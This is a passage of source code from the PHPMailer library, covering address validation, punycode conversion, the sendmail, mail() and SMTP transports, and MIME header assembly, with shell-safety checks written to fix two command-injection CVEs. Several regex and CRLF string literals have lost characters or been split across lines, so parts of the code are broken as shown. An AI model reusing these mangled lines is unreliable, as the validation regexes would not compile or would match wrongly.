if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!((?1)"?(\[ -~]|[^"])"?(?1)){255,})(?!((?1)"?(\[ -~]|[^"])"?(?1)){65,}@)' .
'((((((((
)?[ ])+|([ ]*
)?[ ]+)?)(\(((?2)' .
'([--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"((?2)([--!#-\[\]-]|\[-]))*' .
'(?2)")((?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(([a-z0-9]([a-z0-9-]*[a-z0-9])?)' .
'((?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(IPv6:(([a-f0-9]{1,4})(:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(:(?6)){0,6})?::(?7)?))|((IPv6:((?6)(:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(((?6)(:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!("?(\[ -~]|[^"])"?){255,})(?!("?(\[ -~]|[^"])"?){65,}@)(' .
'[!#-\'*+\/-9=?^-~-]+|"(([--!#-\[\]-]|\[-]))*")' .
'(\.([!#-\'*+\/-9=?^-~-]+|"(([--!#-\[\]-]|\[-]))*"))*' .
'@((?![a-z0-9-]{64,})([a-z0-9]([a-z0-9-]*[a-z0-9])?)(\.(?![a-z0-9-]{64,})' .
'([a-z0-9]([a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(IPv6:(([a-f0-9]{1,4})(:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,6})?' .
'::([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,6})?))|((IPv6:([a-f0-9]{1,4}(:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})([a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,4})?' .
'::((?:[a-f0-9]{1,4}(:[a-f0-9]{1,4}){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(\.(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
/**
* Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
* "intl" and "mbstring" PHP extensions.
* @return bool "true" if required functions for IDN support are present
*/
public function idnSupported()
{
// @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
}
/**
* Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
* Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
* This function silently returns unmodified address if:
* - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
* - Conversion to punycode is impossible (e.g. required PHP functions are not available)
* or fails for any reason (e.g. domain has characters not allowed in an IDN)
* @see PHPMailer::$CharSet
* @param string $address The email address to convert
* @return string The encoded address in ASCII form
*/
public function punyencodeAddress($address)
{
// Verify we have required functions, CharSet, and at-sign.
if ($this->idnSupported() and
!empty($this->CharSet) and
($pos = strrpos($address, '@')) !== false) {
$domain = substr($address, ++$pos);
// Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
$domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
idn_to_ascii($domain)) !== false) {
return substr($address, 0, $pos) . $punycode;
}
}
}
return $address;
}
/**
* Create a message and send it.
* Uses the sending method specified by $Mailer.
* @throws phpmailerException
* @return boolean false on error - See the ErrorInfo property for details of the error.
*/
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Prepare a message for sending.
* @throws phpmailerException
* @return boolean
*/
public function preSend()
{
try {
$this->error_count = 0; // Reset errors
$this->mailHeader = '';
// Dequeue recipient and Reply-To addresses with IDN
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array(array($this, 'addAnAddress'), $params);
}
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
}
// Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
// Set whether the message is multipart/alternative
if ($this->alternativeExists()) {
$this->ContentType = 'multipart/alternative';
}
$this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
}
// Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
// createBody may have added some headers, so retain them
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
// To capture the complete message when using mail(), create
// an extra header list which createHeader() doesn't fold in
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
// Sign with DKIM if enabled
if (!empty($this->DKIM_domain)
and !empty($this->DKIM_selector)
and (!empty($this->DKIM_private_string)
or (!empty($this->DKIM_private)
and self::isPermittedPath($this->DKIM_private)
and file_exists($this->DKIM_private)
)
)
) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader, "
") . self::CRLF .
str_replace("
", "
", $header_dkim) . self::CRLF;
}
return true;
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Actually send a message.
* Send the email via the selected mechanism
* @throws phpmailerException
* @return boolean
*/
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
/**
* Send mail using the $Sendmail program.
* @param string $header The message headers
* @param string $body The message body
* @see PHPMailer::$Sendmail
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function sendmailSend($header, $body)
{
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s -f%s';
} else {
$sendmailFmt = '%s -oi -f%s -t';
}
} else {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s';
} else {
$sendmailFmt = '%s -oi -t';
}
}
// TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
$sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, 'To: ' . $toAddr . "
");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
/**
* Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
*
* Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
* @param string $string The string to be validated
* @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
* @access protected
* @return boolean
*/
protected static function isShellSafe($string)
{
// Future-proof
if (escapeshellcmd($string) !== $string
or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
) {
return false;
}
$length = strlen($string);
for ($i = 0; $i < $length; $i++) {
$c = $string[$i];
// All other characters have a special meaning in at least one common shell, including = and +.
// Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
// Note that this does permit non-Latin alphanumeric characters based on the current locale.
if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
return false;
}
}
return true;
}
/**
* Check whether a file path is of a permitted type.
* Used to reject URLs and phar files from functions that access local file paths,
* such as addAttachment.
* @param string $path A relative or absolute path to a file.
* @return bool
*/
protected static function isPermittedPath($path)
{
return !preg_match('#^[a-z]+://#i', $path);
}
/**
* Send mail using the PHP mail() function.
* @param string $header The message headers
* @param string $body The message body
* @link http://www.php.net/manual/en/book.mail.php
* @throws phpmailerException
* @access protected
* @return boolean
*/
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
/**
* Get an instance to use for SMTP operations.
* Override this function to load your own SMTP implementation
* @return SMTP
*/
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
/**
* Send mail via SMTP.
* Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
* Uses the PHPMailerSMTP class by default.
* @see PHPMailer::getSMTPInstance() to use a different class.
* @param string $header The message headers
* @param string $body The message body
* @throws phpmailerException
* @uses SMTP
* @access protected
* @return boolean
*/
protected function smtpSend($header, $body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
$smtp_from = $this->Sender;
} else {
$smtp_from = $this->From;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send to all recipients
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
$isSent = false;
} else {
$isSent = true;
}
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
}
}
// Only send the DATA command if we have viable recipients
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
//Create error message for any bad addresses
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') . $errstr,
self::STOP_CONTINUE
);
}
return true;
}
/**
* Initiate a connection to an SMTP server.
* Returns false if the operation failed.
* @param array $options An array of options compatible with stream_context_create()
* @uses SMTP
* @access public
* @throws phpmailerException
* @return boolean
*/
public function smtpConnect($options = null)
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
//If no options are provided, use whatever is set in the instance
if (is_null($options)) {
$options = $this->SMTPOptions;
}
// Already connected?
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match(
'/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
trim($hostentry),
$hostinfo
)) {
// Not a valid host entry
$this->edebug('Ignoring invalid host: ' . $hostentry);
continue;
}
// $hostinfo[2]: optional ssl or tls prefix
// $hostinfo[3]: the hostname
// $hostinfo[4]: optional port number
// The host string prefix can temporarily override the current setting for SMTPSecure
// If it's not specified, the default value is used
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; // Can't have SSL and TLS at the same time
$secure = 'ssl';
} elseif ($hostinfo[2] == 'tls') {
$tls = true;
// tls doesn't use a prefix
$secure = 'tls';
}
//Do we need the OpenSSL extension?
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls' === $secure or 'ssl' === $secure) {
//Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport > 0 and $tport < 65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
//Automatically enable TLS encryption if:
// * it's not disabled
// * we have openssl extension
// * we are not already using SSL
// * the server offers STARTTLS
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
// We must resend EHLO after TLS negotiation
$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
} catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
// We must have connected, but then failed TLS or Auth, so close connection nicely
$this->smtp->quit();
}
}
}
// If we get here, all connection attempts have failed, so close connection hard
$this->smtp->close();
// As we've caught all exceptions, just report whatever the last one was
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
/**
* Close the active SMTP session if one exists.
* @return void
*/
public function smtpClose()
{
if (is_a($this->smtp, 'SMTP')) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
/**
* Set the language for error messages.
* Returns false if it cannot load the language file.
* The default language is English.
* @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
* @param string $lang_path Path to the language file directory, with trailing separator (slash)
* @return boolean
* @access public
*/
public function setLanguage($langcode = 'en', $lang_path = '')
{
// Backwards compatibility for renamed language codes
$renamed_langcodes = array(
'br' => 'pt_br',
'cz' => 'cs',
'dk' => 'da',
'no' => 'nb',
'se' => 'sv',
'sr' => 'rs'
);
if (isset($renamed_langcodes[$langcode])) {
$langcode = $renamed_langcodes[$langcode];
}
// Define full set of translatable strings in English
$PHPMAILER_LANG = array(
'authenticate' => 'SMTP Error: Could not authenticate.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address: ',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: ',
'extension_missing' => 'Extension missing: '
);
if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
}
//Validate $langcode
if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
$langcode = 'en';
}
$foundlang = true;
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
// There is no English translation file
if ($langcode != 'en') {
// Make sure language file path is readable
if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
$foundlang = false;
} else {
// Overwrite language-specific strings.
// This way we'll never have missing translation keys.
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang; // Returns false if language not found
}
/**
* Get the array of strings for the current language.
* @return array
*/
public function getTranslations()
{
return $this->language;
}
/**
* Create recipient headers.
* @access public
* @param string $type
* @param array $addr An array of recipient,
* where each recipient is a 2-element indexed array with element 0 containing an address
* and element 1 containing a name, like:
* array(array('[email protected]', 'Joe User'), array('[email protected]', 'Zoe User'))
* @return string
*/
public function addrAppend($type, $addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . $this->LE;
}
/**
* Format an address for use in a message header.
* @access public
* @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
* like array('[email protected]', 'Joe User')
* @return string
*/
public function addrFormat($addr)
{
if (empty($addr[1])) { // No name provided
return $this->secureHeader($addr[0]);
} else {
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
$addr[0]
) . '>';
}
}
/**
* Word-wrap message.
* For use with mailers that do not automatically perform wrapping
* and for quoted-printable encoded messages.
* Original written by philippe.
* @param string $message The message to wrap
* @param integer $length The line length to wrap to
* @param boolean $qp_mode Whether to run in Quoted-Printable mode
* @access public
* @return string
*/
public function wrapText($message, $length, $qp_mode = false)
{
if ($qp_mode) {
$soft_break = sprintf(' =%s', $this->LE);
} else {
$soft_break = $this->LE;
}
// If utf-8 encoding is used, we will need to make sure we don't
// split multibyte characters when we wrap
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
//Remove a trailing line break
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
//Split message into lines
$lines = explode($this->LE, $message);
//Message will be rebuilt in here
$message = '';
foreach ($lines as $line) {
$words = explode(' ', $line);
$buf = '';
$firstword = true;
foreach ($words as $word) {
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if (!$firstword) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf('=%s', self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
if (!$firstword) {
$buf .= ' ';
}
$buf .= $word;
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
$firstword = false;
}
$message .= $buf . self::CRLF;
}
return $message;
}
/**
* Find the last character boundary prior to $maxLength in a utf-8
* quoted-printable encoded string.
* Original written by Colin Brown.
* @access public
* @param string $encodedText utf-8 QP text
* @param integer $maxLength Find the last character boundary prior to this length
* @return integer
*/
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) {
// Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
if ($encodedCharPos > 0) {
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
}
$foundSplitPos = true;
} elseif ($dec >= 192) {
// First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) {
// Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
/**
* Apply word wrapping to the message body.
* Wraps the message body to the number of chars set in the WordWrap property.
* You should only do this to plain-text bodies as wrapping HTML tags may break them.
* This is called automatically by createBody(), so you don't need to call it yourself.
* @access public
* @return void
*/
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
/**
* Assemble message headers.
* @access public
* @return string The assembled headers
*/
public function createHeader()
{
$result = '';
$result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
// To be created automatically by mail()
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
} else {
if (count($this->to) > 0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To', $this->to);
}
} elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
// sendmail and mail() extract Bcc from the header before sending
if ((
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
)
and count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
// Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
// https://tools.ietf.org/html/rfc5322#section-3.6.4
if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
}
$result .= $this->headerLine('Message-ID', $this->lastMessageID);
if (!is_null($this->Priority)) {
$result .= $this->headerLine('X-Priority', $this->Priority);
}
if ($this->XMailer == '') {
$result .= $this->headerLine(
'X-Mailer',
'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
);
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer', $myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
}
// Add custom headers
foreach ($this->CustomHeader as $header) {
$result .= $this->headerLine(
trim($header[0]),
$this->encodeHeader(trim($header[1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
/**
* Get the message MIME type headers.
* @access public
* @return string
*/
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', 'multipart/related;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', 'multipart/mixed;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', 'multipart/alternative;');
$result .= $this->textLine(" boundary=\"" . $this->boundary[1] . '"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
}
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
/**
* Returns the whole MIME message.
* Includes complete headers and body.
* Only valid post preSend().
* @see PHPMailer::preSend()
* @access public
* @return string
*/
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader . $this->mailHeader, "
") . self::CRLF . self::CRLF . $this->MIMEBody;
}
/**
* Create unique ID
* @return string
*/
protected function generateId() {
return md5(uniqid(time()));
}
/**
* Assemble the message body.
* Returns an empty string on failure.
* @access public
* @throws phpmailerException
* @return string The assembled message body
*/
public function createBody()
{
$body = '';
